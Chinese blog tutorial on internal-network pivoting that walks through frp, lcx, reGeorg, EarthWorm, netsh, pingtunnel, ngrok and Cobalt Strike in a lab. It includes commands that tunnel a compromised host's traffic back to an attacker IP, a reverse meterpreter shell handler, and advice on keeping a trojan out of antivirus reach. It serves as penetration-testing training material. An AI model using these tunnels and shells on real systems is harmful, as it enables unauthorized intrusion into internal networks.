内网渗透-隧道代理转发

文章目录

  • 前言
  • 环境搭建
  • 工具清单
  • 工具使用
    • Frp
      • 命令执行
      • 实验
    • Lcx
      • 命令执行
      • 实验
    • reGeorg
      • 命令执行
      • 实验
      • Proxifier
    • ew(EarthWorm)
      • 正向代理
        • 命令执行
        • 实验
      • 反向代理
        • 命令执行
        • 实验
        • SocksCap
    • netsh
      • 命令执行
    • pingtunnel
      • 命令执行
      • 实验
    • ngrok
      • 命令执行&&实验
    • cs
      • 命令执行
      • 实验

前言

本文章介绍内网渗透中本人常用的一些隧道代理转发工具。

环境搭建

在这里插入图片描述
环境配置坑点:记得把内网网卡的这个√取消掉,否则直接不同网段也能直接访问到内网…
在这里插入图片描述

win10_hacker: 192.168.29.139
kali_hacker: 192.168.29.128
windows(目标服务器): (192.168.29.13010.0.0.3)
winserver2003: 10.0.0.112

注:双网卡的系统没有固定用哪个,我这里使用windows,是因为我找了好几个靶机最后手头上只有win10能运行,这里也可以使用linux作为被控制机器,没有所谓,注意frp要使用对应系统的版本即可。

工具清单

可转发工具,这些是进行内网流量转出的工具

Frp
Lcx
reGeorg
ew(EarthWorm)
netsh
pingtunnel
ngrok
cs

可代理工具,这些是本地进行流量转换的工具

Proxifier(windows)
SocksCap(windows)
cs(windows)
Proxychains(linux)#本文不做介绍

工具使用

注明:以下工具仅简单介绍使用方法。

Frp

项目地址:https://github.com/fatedier/frp/

服务端:kali_hacker (192.168.29.128)
客户端:windows(目标服务器)(192.168.29.130、10.0.0.3)

将客户端内网中10.0.0.112:80的流量转到服务端的6000端口中。

命令执行

kali_hacker

vim frps.toml #自行修改端口号,不要与本机的端口号冲突即可
#运行命令
./frps -c frps.toml

windows

#frpc.toml配置文件说明
serverAddr:服务端地址
serverPort:服务端配置文件中bind绑定的端口
localIP:直接指定内网中你要转的的ip即可
localPort:将localIP的哪个端口号流量转出来
remotePort:将流量转进服务端的哪个端口号
type:是表示你要进行什么类型的流量转发,一般是tcp和http(后面介绍http)
customDomains:表示当内网信息转过来的时候你希望以什么域名访问,这里需要你修改hosts文件,将ip和域名进行绑定。
#运行命令
.\frpc.exe -c frpc.toml

下面是常用的配置,配置了http、tcp(rdp,ssh)

serverAddr = "192.168.29.128"
serverPort = 7000[[proxies]]
name = "web"
type = "http"
localIP = "10.0.0.112"
localPort = 80
customDomains = ["www.hacker.com"][[proxies]]
name = "rdp"
type = "tcp"
localIP = "10.0.0.112"
localPort = 3389
remotePort = 6000[[proxies]]
name = "ssh"
type = "tcp"
localIP = "10.0.0.112"
localPort = 22
remotePort = 6000

实验

服务端运行
修改hosts文件:对应客户端设置的域名和ip
(ip就是这台kali机器所以可以写127.0.0.1)
在这里插入图片描述
在这里插入图片描述

客户端运行
在这里插入图片描述

服务端访问内网
在这里插入图片描述
同理6000端口是内网机器10.0.0.112的3389转进来的流量
在这里插入图片描述

Lcx

项目地址:
https://github.com/Brucetg/Pentest-tools/tree/master/%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91

windows_hacker:(192.168.29.139)
windows(目标服务器)(192.168.29.130、10.0.0.3)

将windows内网中的10.0.0.112:3389流量转到windows_hacker的2222端口上,然后windows_hacker本地将2222端口转到4444端口上。

命令执行

windows_hacker

.\lcx.exe -listen 2222 4444

windows

.\lcx.exe -slave 192.168.29.139 2222 10.0.0.112 3389

实验

windows_hacker运行
在这里插入图片描述
被控的windows主机运行
在这里插入图片描述
windows_hacker远程桌面内网机器
在这里插入图片描述
在这里插入图片描述

reGeorg

项目地址:
https://github.com/sensepost/reGeorg

windows_hacker:(192.168.29.139)
windows (目标服务器)(192.168.29.130、10.0.0.3)

用脚本帮你将目标机器windows 上的内网信息通过socks隧道转到windows_hacker的9999端口上来。

命令执行

windows

将对应站点开发语言的脚本传到目标服务器上,能访问成功即可
(php开发的就传php的脚本,即:tunnel.nosocket.php)

windows_hacker

需要用python2
python2 reGeorgSocksProxy.py -p 9999 -u http://192.168.29.130/tunnel.nosocket.php

实验

将文件上传到目标服务器后,在hacker机器上能访问成功即可
在这里插入图片描述
使用python2环境运行脚本
在这里插入图片描述

Proxifier

现在就已经是成功转出来了,只不过需要对转出来的socks流量做一个转换,转换为本机可用的,因为我们知道内网有一个网站,需要转成http流量进行访问。
使用Proxifier进行一个本地流量转换
1.添加代理服务器
在这里插入图片描述
2.添加代理规则
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
3.localhost选择你之前配置好的代理服务器 127.0.0.1:9999
在这里插入图片描述
接着拿出你的浏览器访问内网ip即可了,这样就相当于将内网流量彻底转到你的机器上面来,而不是说单独哪一个端口转出来,这里随心所欲逛内网了,bp抓包都没问题。
4.访问成功
在这里插入图片描述

ew(EarthWorm)

项目地址:该工具已下架,很遗憾,接下来就来怀念一下这个工具吧。
(这款工具杀软基本过不了,规则已公开)

windows_hacker:(192.168.29.139)
windows(目标服务器)(192.168.29.130、10.0.0.3)

正向代理

命令执行
windows_hacker: 用proxifier正向连接ip:端口
windows:ew.exe -s ssocksd -l 1080
实验

目标服务器windows
注意1080是转出的端口,后面正向连接要用这个端口
在这里插入图片描述
windows_hacker:配置好目标ip+端口就能访问了,这款工具很迅速
在这里插入图片描述

反向代理

命令执行
windows(目标服务器): ew.exe -s rssocks -d 192.168.29.139 -e 888windows_hacker: ew.exe -s rcsocks -l 1080 -e 888

意思是将目标服务器的内网环境通过888端口转出到hacker的888,然后hacker将888转到1080端口

实验

hacker机器先进行监听,否则目标服务器那边会因流量转不出执行出错
在这里插入图片描述
接着目标服务器执行\

在这里插入图片描述
就能看到hacker这边有反应显示成功了
在这里插入图片描述

SocksCap

上面用了很多proxifier,那这里就用一下SocksCap
1.点击代理,右键新增代理
在这里插入图片描述
在这里插入图片描述
2.导入程序的方式,自己选一个接受流量的程序,我们这里是为了访问内网的web服务就选择浏览器访问即可。
在这里插入图片描述
3.导入后就能打开访问内网网址了
在这里插入图片描述

netsh

建议在目标服务器上做本地端口转发接口,个人觉得本地端口转发效果最佳。

命令执行

目标服务器:将内网的10.0.0.112:80转到本地的880,最好用该机器对外的ip地址。

netsh interface portproxy add v4tov4 listenaddress=192.168.29.130 listenport=880 connectaddress=10.0.0.112 connectport=80

在这里插入图片描述

pingtunnel

这里因为windows作为目标路由服务器转发内网流量的实验失败,所以改用linux。
(有成功的师傅可以留言给我看下是什么问题,学习学习~)
在这里插入图片描述

命令执行

这里尝试转发内网的3389端口流量出来即可,其他端口类似,这里不管是服务端还是客户端,在哪个系统运行都是一样的参数,只不过我这里服务端在windows上运行接收不到客户端发来的请求,依赖也安装了具体原因没找到,还是失败,所以只能用linux来做服务端。
(有师傅成功了可以留言告知一声~)
server

./pingtunnel -type server

client

socks类型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1
tcp类型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
udp类型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455

这里解释一下客户端命令的格式:

  • -type:代表是客户端类型运行的
  • -l
    :前面省略了客户端的ip则表示本地ip,表示本地回环地址,然后:后面接端口号,需要使用127.0.0.1进行连接,而如果你指定客户端的ip就需要用本机ip来进行连接
    (这里应该是还可以转发到其他ip上进行进一步利用的,这里没有尝试,有师傅尝试成功可以评论区留言教一下我。)
  • -s
    代表服务端的域名或者ip
  • -t
    代表服务端内网某一个机器的ip与要转发出来的端口号流量

实验

实验这里转tcp流量出来,如果你要转socks的话记得配合其它工具进行转换,比如linux用proxychains,windows用proxifier或其他等等工具,具体情况具体分析。
服务端
在这里插入图片描述

客户端
在这里插入图片描述

成功转出内网server2003的3389流量
在这里插入图片描述

ngrok

这个ngrok是解决局域网的流量无法像公网那样能访问,但是这个内网机器需要本身能够出网的才行,相当于你在家里面的局域网流量不是每一个人都能访问得到,假如你搭建了一台机器但是想让其他地区人也能访问到不用买公网ip,这样的话ngrok是不错的选择。
在内网渗透中用来解决内网机器流量无法直接访问这类问题也是一种手段。

这里随便找一台机器即可,这个机器需能访问外网,但外网无法直接访问他
windows: 192.168.29.130

命令执行&&实验

1.先去官网注册一个账号:
https://dashboard.ngrok.com/
2.登录进去后,接着进入后下载对应系统版本的ngrok到目标机器上
3.把ngrok程序运行起来,如下图所示
在这里插入图片描述
运行图片
在这里插入图片描述
我这里将80端口映射出来
在这里插入图片描述
如果没有看到绿色建立成功的话,运行这条命令:ngrok http 80。因为可能你不是第一次弄,就需要这条命令,成功后你会看到如下图所示的映射网址,直接访问这个就行。
在这里插入图片描述
访问网址后可能会是下图这个样子
在这里插入图片描述
你点击visit后就看到你映射出来的站点了,或者你映射的是其他流量就用其他方式直接链接这个地址即可。
下图可以看到我访问成功了内网中搭建的网站
在这里插入图片描述

ps:本人尝试将3389端口流量映射出来当远程链接,发现失败了,具体原因没找到,但测试后发现貌似只有将http这种网站映射出来效果最佳,所以要希望映射其他流量的话还是找其他工具进行实现最好。

cs

这里很简单,就是把木马丢到目标服务器上将shell转过来即可,进行内网渗透最好还是在cs上线后将权限转到msf上进行后渗透操作效果最佳。

命令执行

提前说明:服务端选择linux,客户端选择windows,你也可以自行选择不同搭配,服务端和客户端都有提供两种选择,我个人比较常用这种搭配。
服务端

安装jdk,建议安装jdk8(安装方法自行百度)./teamserver 服务端ip 连接密码

客户端

安装jdk,建议安装jdk8(安装方法自行百度)
./cs.bat

ps: teamserver也有提供windows的teamserver.bat运行,同样cs也有提供cs.sh运行。

实验

服务端
在这里插入图片描述
客户端
windows双击cs.bat文件即可
在这里插入图片描述


1.接着客户端这边生成木马
首先创建监听器
在这里插入图片描述
如果没有其他代理需求就按照下面配置即可(更多用法自行去百度)
在这里插入图片描述

选择生成木马后门
在这里插入图片描述
在这里插入图片描述
将木马保存在一个免杀目录中,不要被杀软杀掉即可
2.将木马上传在目标服务器上执行即可,这里做实验就直接放虚拟机双击了
在这里插入图片描述
回到客户端看cs就发现有主机上线了,甚至能看到他的两张网卡,内外网ip
在这里插入图片描述
3.这里最好是和msf联动进行内网渗透效果最佳,所以这里我选择让cs增加一个会话转到msf中
先运行msfconsole开启msf,并创建监听器

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost (msf监听的ip)192.168.29.128
set lport (msf监听的端口)4444

在这里插入图片描述

4.接着添加监听器
在这里插入图片描述
在这里插入图片描述
5.右键增加会话
在这里插入图片描述
接着选择刚刚添加的msf监听器即可
在这里插入图片描述msf已经拿到shell了,后续就是看你玩msf玩的溜不溜就完事了。
在这里插入图片描述


本文介绍内网搭建隧道代理的一些工具,拿到内网环境后就可以进行后渗透工作了
(当然要遵守网络安全法,在授权范围下进行)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/54817.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

10/11

一、ARM课程大纲 二、ARM课程学习的目的 2.1 为了找到一个薪资水平达标的工作(单片机岗位、驱动开发岗位) 应用层(APP) 在用户层调用驱动层封装好的API接口,编写对应的API接口 ----------------------------------------------------…

CWE-1395:同源漏洞引起的安全威胁

1. 内容概述 产品依赖于一个或多个第三方组件,这些组件包含已知的安全漏洞。由于这些漏洞尚未被修复,可能会被攻击者利用,从而危及产品的整体安全性。未能及时更新或替换这些第三方组件可能导致严重的安全风险。 具体来说,许多产…

探索TCP协议的奥秘:Python中的网络通信

引言 在网络通信的世界里,TCP协议(传输控制协议)就如同一座桥梁,连接着数据的发送方和接收方。作为一名拥有20年实战经验的编码专家,我深知TCP协议在构建稳定、可靠的网络应用中的重要性。今天,我将带领大…

Redis:通用命令 数据类型

Redis:通用命令 & 数据类型 通用命令SETGETKEYSEXISTSDELEXPIRETTLTYPEFLUSHALL 数据类型 Redis的客户端提供了很多命令用于操控Redis,在Redis中,key的类型都是字符串,而value有多种类型,每种类型都有自己的操作命…

await的作用(举例)

问: 当方法a中又三个方法a1、a2、a3、a4都是异步函数,现在在a2、a4追加await,方法执行顺序是什么?主进程顺序是什么? 答: 通过一个具体的例子来说明当方法 a 中有四个异步方法 a1、a2、a3 和 a4&#xff…

Spring Cache 的说明及常用注解

一.介绍 Spring Cache是Spring Framework中的一个模块,用于简化和统一缓存的使用。它提供了一种将缓存逻辑与应用程序业务逻辑分离的方式,使得我们可以更方便地使用缓存来提高应用程序的性能。 二.主要特性 注解支持:Spring Cache提供了一组…

python 自学总结

# 这是一个代码的注释 注释可以使用# 一般而言#号后面要加空格表示规范,多行注释使用“”“ ”“”符合包裹 # type()这个是判断变量类型# 变量的形式 meny 50 # 自己定义叫标识符 不可以使用关键字 不可以用字母开头 规范性 下划线命名法 英文字母全部小写 …

Dbt增量策略模型实践指南

参考:dbt Incremental Strategies | Indicium Engineering (medium.com) 本文讨论dbt的增量策略,介绍工作原理、以及各自优缺点。下篇讲解如何在模型中实现增量策略。 使用增量模型可以仅仅处理最近的数据,减少数据处理成本和时间。当然首先要…

Solon 3.0 引入 SqlUtils :数据库操作的反朴归真

Solon 3.0 版本发布后,带了一个新的特性 —— SqlUtils。这一全新的数据库操作框架给开发者提供了更加透明、灵活的数据库交互方式,可显著提升了代码的透明度和维护性。本文将浅入探讨 SqlUtils 的引入背景、使用方法以及它对市场和开发者群体的潜在影响…

pytorch 与 pytorch lightning, pytorch geometric 各个版本之间的关系

主要参考 官方的给出的意见; 1. pytorch 与 pytorch lightning 各个版本之间的关系 lightning 主要可以 适配多个版本的 torch; https://lightning.ai/docs/pytorch/latest/versioning.html#compatibility-matrix; 2. pytorch 与 pytorch geometric 各…

自动化的抖音

文件命名 main.js var uiModule require("ui_module.js"); if (!auto.service) {toast("请开启无障碍服务");auto.waitFor();} var isRunning true; var swipeCount 0; var targetSwipeCount random(1, 10); var window uiModule.createUI(); uiMo…

ComfyUI | 5分钟部署最新Flux大模型

Midjourney 和 Stable Diffusion 都是目前流行的 AI 图像生成工具,它们能够根据文本描述生成高质量的图像。都是基于深度学习技术的文本到图像生成模型,但它们各自基于不同的大模型。 但最近推出了一款比前两者更强大,生成图像更加逼真&…

windows端口被占用但是查不到进程的问题排查

在开发环境上经常遇到端口被占用,但是 netstat -ano|findstr 3306 查不到进程号,没法强杀解决。 这种情况,很有可能端口被排除了,可用命令: netsh interface ipv4 show excludedportrange protocoltcp 可以看到mysql的…

前端面试题(十四)

76. 前端性能优化 前端性能优化有哪些常见方法? 减少 HTTP 请求: 合并 CSS、JavaScript 和图片文件。使用雪碧图 (Sprite) 减少图片请求数。 资源压缩和合并: 压缩 JavaScript 和 CSS 文件,减少文件体积。使用工具如 UglifyJS、…

一、制作UI自适应

当前分辨率 更改分辨率 一、原因 一款游戏的UI,可能会根据玩家的分辨率和屏幕尺寸,产生不同的变化 例如:某一个Image位移到了摄像机外面 因此需要通过锚点和屏幕自适应来制作完美的效果 二、解决方法 1、锚点 作用是:根据当…

Unity3D相关知识点总结

Unity3D使用的是笛卡尔三维坐标系,并且是以左手坐标系进行展示的。 1.全局坐标系(global) 全局坐标系描述的是游戏对象在整个世界(场景)中的相对于坐标原点(0,0,0)的位置…

前端接收到的日期格式为 2021-12-07T16:44:53.298+00:00 怎么办?

在写项目的时候,给前端发送了一个 Date 类型的数据,发现格式不对: 可以通过在application 配置文件中进行如下配置: spring:jackson:date-format: yyyy-MM-dd HH:mm:sstime-zone: GMT8 前端在获取就发现格式正确

嵌入式硬件设计:从原理到实践

嵌入式硬件设计:从原理到实践 嵌入式硬件设计在物联网、智能设备、工业自动化等领域中扮演着至关重要的角色。随着技术的发展,越来越多的设备依赖于嵌入式系统进行实时控制与数据处理。本文将详细介绍嵌入式硬件设计的各个方面,从设计原理到…

Study-Oracle-11-ORALCE19C-ADG集群搭建

一路走来,所有遇到的人,帮助过我的、伤害过我的都是朋友,没有一个是敌人。 一、ORACLE--ADG VS ORACLE--DG的区别 1、DG是Oracle数据库的一种灾难恢复和数据保护解决方案,它通过在主数据库和一个或多个备用数据库之间实时复制数据,提供了数据的冗余备份和故障切换功能。…

实现一个时钟

头文件 #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include<QPainter>//画家类 #include<QTime>//时间类 #include<QTimer>//定时器类QT_BEGIN_NAMESPACE namespace Ui { class Widget; } QT_END_NAMESPACEclass Widget : public QWidget …